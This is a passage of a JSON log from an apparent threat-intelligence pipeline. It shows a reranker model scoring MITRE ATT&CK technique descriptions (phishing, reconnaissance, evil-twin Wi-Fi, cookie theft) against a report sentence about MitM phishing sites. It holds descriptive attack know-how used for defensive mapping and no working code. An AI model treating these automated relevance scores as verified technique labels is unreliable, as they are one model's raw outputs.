"T1592.003", + "text": "ATT&CK technique: T1592.003 Firmware\nDescription: Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.). Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or Exploit Public-Facing Application).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1591.004", + "text": "ATT&CK technique: T1591.004 Identify Roles\nDescription: Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1586", + "text": "ATT&CK technique: T1586 Compromise Accounts\nDescription: Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. Establish Accounts), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries may directly leverage compromised email accounts for Phishing for Information or Phishing.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1683.001", + "text": "ATT&CK technique: T1683.001 Written Content\nDescription: Adversaries may create or tailor written materials to support targeting and malicious operations. Content may include phishing lures, fraudulent financial communications, fabricated job postings, fabricated employment credentials and documentation, decoy documents, social media persona content, and supporting narratives used to sustain fabricated personas over time. Content may be authored manually, commissioned through third parties, or produced using AI-assisted tools. Written materials may impersonate legitimate government correspondence, diplomatic communications, or internal organizational documents to support targeting efforts. AI-assisted tools may also be used to tailor content to specific targets, industries, or regions. For example, adversaries may leverage AI to translate content into a target's native language or mimic the communication style of trusted senders. Written content produced through these methods may be used in support of other techniques, such as Phishing, Spearphishing via Service, Phishing for Information, Internal Spearphishing, Social Engineering, Financial Theft, or Establish Accounts. Written content does not include malicious code or scripts; for development of malicious code and scripts, see Develop Capabilities.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1592.001", + "text": "ATT&CK technique: T1592.001 Hardware\nDescription: Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: hostnames, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Compromise Hardware Supply Chain or Hardware Additions).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.002", + "text": "ATT&CK technique: T1596.002 WHOIS\nDescription: Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers. Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1584.006", + "text": "ATT&CK technique: T1584.006 Web Services\nDescription: Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1592", + "text": "ATT&CK technique: T1592 Gather Victim Host Information\nDescription: Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services). Adversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary’s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1027.004", + "text": "ATT&CK technique: T1027.004 Compile After Delivery\nDescription: Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as ilasm.exe, csc.exe, or GCC/MinGW. Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a Phishing. Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1591.003", + "text": "ATT&CK technique: T1591.003 Identify Business Tempo\nDescription: Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise or Trusted Relationship)\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1591", + "text": "ATT&CK technique: T1591 Gather Victim Org Information\nDescription: Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1557.004", + "text": "ATT&CK technique: T1557.004 Evil Twin\nDescription: Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or Input Capture. By using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks. Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks. A Wi-Fi Pineapple – a network security auditing and penetration testing tool – may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic. Similarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network. Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network. Upon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim’s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points.\nTactics: collection, credential access\nPlatforms: Network Devices" + }, + { + "id": "T1592.004", + "text": "ATT&CK technique: T1592.004 Client Configurations\nDescription: Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1056.003", + "text": "ATT&CK technique: T1056.003 Web Portal Capture\nDescription: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1584.004", + "text": "ATT&CK technique: T1584.004 Server\nDescription: Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a Server or Virtual Private Server, adversaries may compromise third-party servers in support of operations. Adversaries may also compromise web servers to support watering hole operations, as in Drive-by Compromise, or email servers to support Phishing operations.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1590.001", + "text": "ATT&CK technique: T1590.001 Domain Properties\nDescription: Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: WHOIS). Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases, Search Open Websites/Domains, or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1586.002", + "text": "ATT&CK technique: T1586.002 Email Accounts\nDescription: Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct Phishing for Information, Phishing, or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: Domains). A variety of methods exist for compromising email accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or Phishing emails may evade reputation-based email filtering rules. Adversaries can use a compromised email account to hijack existing email threads with targets of interest.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1588.004", + "text": "ATT&CK technique: T1588.004 Digital Certificates\nDescription: Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or even enabling Adversary-in-the-Middle if the certificate is trusted or otherwise added to the root of trust (i.e. Install Root Certificate). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities. Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for. Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free. After obtaining a digital certificate, an adversary may then install that certificate (see Install Digital Certificate) on infrastructure under their control.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1584", + "text": "ATT&CK technique: T1584 Compromise Infrastructure\nDescription: Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle. Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with Digital Certificates) to further blend in and support staged information gathering and/or Phishing campaigns. Adversaries may also compromise numerous machines to support Proxy and/or proxyware services or to form a botnet. Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain Initial Access via Wi-Fi Networks. By using compromised infrastructure, adversaries may enable follow-on malicious operations. Prior to targeting, adversaries may also compromise the infrastructure of other adversaries.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1592.002", + "text": "ATT&CK technique: T1592.002 Software\nDescription: Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Additionally, adversaries may analyze metadata from victim-owned files (e.g., PDFs, DOCs, images, and sound files hosted on victim-owned websites) to extract information about the software and hardware used to create or process those files. Metadata may reveal software versions, configurations, or timestamps that indicate outdated or vulnerable software. This information can be cross-referenced with known CVEs to identify potential vectors for exploitation in future operations. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or for initial access (ex: Supply Chain Compromise or External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1036.012", + "text": "ATT&CK technique: T1036.012 Browser Fingerprint\nDescription: Adversaries may attempt to blend in with legitimate traffic by spoofing browser and system attributes like operating system, system language, platform, user-agent string, resolution, time zone, etc. The HTTP User-Agent request header is a string that lets servers and network peers identify the application, operating system, vendor, and/or version of the requesting user agent. Adversaries may gather this information through System Information Discovery or by users navigating to adversary-controlled websites, and then use that information to craft their web traffic to evade defenses.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1608", + "text": "ATT&CK technique: T1608 Stage Capabilities\nDescription: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications. Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to): * Staging web resources necessary to conduct Drive-by Compromise when a user browses to a site. * Staging web resources for a link target to be used with spearphishing. * Uploading malware or tools to a location accessible to a victim network to enable Ingress Tool Transfer. * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: Asymmetric Cryptography with Web Protocols).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1681", + "text": "ATT&CK technique: T1681 Search Threat Vendor Data\nDescription: Threat actors may seek information/indicators from closed or open threat intelligence sources gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. These reports may include descriptions of behavior, detailed breakdowns of attacks, atomic indicators such as malware hashes or IP addresses, timelines of a group’s activity, and more. Adversaries may change their behavior when planning their future operations. Adversaries have been observed replacing atomic indicators mentioned in blog posts in under a week. Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation. This technique is distinct from Threat Intel Vendors in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1566.001", + "text": "ATT&CK technique: T1566.001 Spearphishing Attachment\nDescription: Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1588.007", + "text": "ATT&CK technique: T1588.007 Artificial Intelligence\nDescription: Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks, including conducting Reconnaissance, creating basic scripts, assisting social engineering, and even developing payloads. For example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in Phishing/Phishing for Information campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting Develop Capabilities. AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., Obfuscated Files or Information) malicious scripts and payloads. Finally, AI-generated text, images, audio, and video may be used for fraud, Impersonation, and other malicious activities.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1539", + "text": "ATT&CK technique: T1539 Steal Web Session Cookie\nDescription: An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. There are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser. There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns. After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.\nTactics: credential access\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1020.001", + "text": "ATT&CK technique: T1020.001 Traffic Duplication\nDescription: Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through ROMMONkit or Patch System Image. Many cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to. Adversaries may use traffic duplication in conjunction with Network Sniffing, Input Capture, or Adversary-in-the-Middle depending on the goals and objectives of the adversary.\nTactics: exfiltration\nPlatforms: IaaS, Network Devices" + } + ], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior." + }, + "raw_response": { + "model": "Qwen/Qwen3-Reranker-4B", + "scores": [ + { + "item_id": "T1566", + "score": 0.98828125, + "rank": 0 + }, + { + "item_id": "T1598.003", + "score": 0.90625, + "rank": 1 + }, + { + "item_id": "T1598", + "score": 0.8359375, + "rank": 2 + }, + { + "item_id": "T1608.005", + "score": 0.333984375, + "rank": 3 + }, + { + "item_id": "T1683.001", + "score": 0.3203125, + "rank": 4 + }, + { + "item_id": "T1557", + "score": 0.28125, + "rank": 5 + }, + { + "item_id": "T1059", + "score": 0.1923828125, + "rank": 6 + }, + { + "item_id": "T1204", + "score": 0.15625, + "rank": 7 + }, + { + "item_id": "T1598.001", + "score": 0.09033203125, + "rank": 8 + }, + { + "item_id": "T1593.002", + "score": 0.0419921875, + "rank": 9 + }, + { + "item_id": "T1598.002", + "score": 0.03759765625, + "rank": 10 + }, + { + "item_id": "T1591", + "score": 0.0311279296875, + "rank": 11 + }, + { + "item_id": "T1684.001", + "score": 0.0274658203125, + "rank": 12 + }, + { + "item_id": "T1682", + "score": 0.02587890625, + "rank": 13 + }, + { + "item_id": "T1566.002", + "score": 0.023193359375, + "rank": 14 + }, + { + "item_id": "T1592.002", + "score": 0.021728515625, + "rank": 15 + }, + { + "item_id": "T1566.003", + "score": 0.0191650390625, + "rank": 16 + }, + { + "item_id": "T1594", + "score": 0.0177001953125, + "rank": 17 + }, + { + "item_id": "T1591.002", + "score": 0.0167236328125, + "rank": 18 + }, + { + "item_id": "T1592.004", + "score": 0.0167236328125, + "rank": 19 + }, + { + "item_id": "T1586.002", + "score": 0.0167236328125, + "rank": 20 + }, + { + "item_id": "T1589", + "score": 0.015625, + "rank": 21 + }, + { + "item_id": "T1056", + "score": 0.015625, + "rank": 22 + }, + { + "item_id": "T1185", + "score": 0.015625, + "rank": 23 + }, + { + "item_id": "T1608", + "score": 0.01519775390625, + "rank": 24 + }, + { + "item_id": "T1681", + "score": 0.01519775390625, + "rank": 25 + }, + { + "item_id": "T1588.007", + "score": 0.0142822265625, + "rank": 26 + }, + { + "item_id": "T1590", + "score": 0.013427734375, + "rank": 27 + }, + { + "item_id": "T1597.002", + "score": 0.013427734375, + "rank": 28 + }, + { + "item_id": "T1591.004", + "score": 0.013427734375, + "rank": 29 + }, + { + "item_id": "T1557.004", + "score": 0.013427734375, + "rank": 30 + }, + { + "item_id": "T1593.001", + "score": 0.0125732421875, + "rank": 31 + }, + { + "item_id": "T1589.001", + "score": 0.0125732421875, + "rank": 32 + }, + { + "item_id": "T1592.001", + "score": 0.0125732421875, + "rank": 33 + }, + { + "item_id": "T1539", + "score": 0.0118408203125, + "rank": 34 + }, + { + "item_id": "T1598.004", + "score": 0.0111083984375, + "rank": 35 + }, + { + "item_id": "T1027.004", + "score": 0.0111083984375, + "rank": 36 + }, + { + "item_id": "T1583", + "score": 0.00921630859375, + "rank": 37 + }, + { + "item_id": "T1659", + "score": 0.0086669921875, + "rank": 38 + }, + { + "item_id": "T1592", + "score": 0.0086669921875, + "rank": 39 + }, + { + "item_id": "T1586", + "score": 0.00811767578125, + "rank": 40 + }, + { + "item_id": "T1590.003", + "score": 0.00762939453125, + "rank": 41 + }, + { + "item_id": "T1036", + "score": 0.007171630859375, + "rank": 42 + }, + { + "item_id": "T1056.003", + "score": 0.007171630859375, + "rank": 43 + }, + { + "item_id": "T1140", + "score": 0.005950927734375, + "rank": 44 + }, + { + "item_id": "T1534", + "score": 0.005584716796875, + "rank": 45 + }, + { + "item_id": "T1591.003", + "score": 0.005584716796875, + "rank": 46 + }, + { + "item_id": "T1071", + "score": 0.00494384765625, + "rank": 47 + }, + { + "item_id": "T1608.004", + "score": 0.00494384765625, + "rank": 48 + }, + { + "item_id": "T1596.003", + "score": 0.004638671875, + "rank": 49 + }, + { + "item_id": "T1584.004", + "score": 0.004364013671875, + "rank": 50 + }, + { + "item_id": "T1590.001", + "score": 0.00408935546875, + "rank": 51 + }, + { + "item_id": "T1566.001", + "score": 0.00408935546875, + "rank": 52 + }, + { + "item_id": "T1584.008", + "score": 0.00360107421875, + "rank": 53 + }, + { + "item_id": "T1588.004", + "score": 0.00360107421875, + "rank": 54 + }, + { + "item_id": "T1590.004", + "score": 0.0031890869140625, + "rank": 55 + }, + { + "item_id": "T1590.006", + "score": 0.0028076171875, + "rank": 56 + }, + { + "item_id": "T1584", + "score": 0.0026397705078125, + "rank": 57 + }, + { + "item_id": "T1190", + "score": 0.002471923828125, + "rank": 58 + }, + { + "item_id": "T1583.008", + "score": 0.002471923828125, + "rank": 59 + }, + { + "item_id": "T1592.003", + "score": 0.002471923828125, + "rank": 60 + }, + { + "item_id": "T1189", + "score": 0.0021820068359375, + "rank": 61 + }, + { + "item_id": "T1596.002", + "score": 0.0021209716796875, + "rank": 62 + }, + { + "item_id": "T1036.012", + "score": 0.0021209716796875, + "rank": 63 + }, + { + "item_id": "T1001.003", + "score": 0.00193023681640625, + "rank": 64 + }, + { + "item_id": "T1584.006", + "score": 0.00186920166015625, + "rank": 65 + }, + { + "item_id": "T1027", + "score": 0.00164794921875, + "rank": 66 + }, + { + "item_id": "T1573", + "score": 0.0016021728515625, + "rank": 67 + }, + { + "item_id": "T1567", + "score": 0.00124359130859375, + "rank": 68 + }, + { + "item_id": "T1596.004", + "score": 0.00113677978515625, + "rank": 69 + }, + { + "item_id": "T1105", + "score": 0.00102996826171875, + "rank": 70 + }, + { + "item_id": "T1573.002", + "score": 0.000858306884765625, + "rank": 71 + }, + { + "item_id": "T1020.001", + "score": 0.00064849853515625, + "rank": 72 + }, + { + "item_id": "T1132", + "score": 0.0006256103515625, + "rank": 73 + }, + { + "item_id": "T1614", + "score": 0.000553131103515625, + "rank": 74 + } + ], + "query_id": "behavior", + "usage": { + "input_tokens": 28207 + } + }, + "evidence_sha256": "b57a4c164341f0ecdc7b9a16d24b501e2a52fed51dd9d9e0b3621ffd39c0042b" + }, + { + "stage": "rerank", + "function": "score", + "requested_model": "Qwen/Qwen3-Reranker-4B", + "runtime_model": "Qwen/Qwen3-Reranker-4B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 814.0, + "request_payload": { + "query": { + "id": "behavior", + "text": "Observed adversary behavior: They were able to identify over 1200 MitM phishing sites" + }, + "items": [ + { + "id": "T1566", + "text": "ATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: As an example, the OWA phishing page is displayed (Figure 15) when the user clicks the “Outlook Web Access” link on the web page." + }, + { + "id": "T1589", + "text": "ATT&CK technique: T1589 Gather Victim Identity Information\nDescription: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may 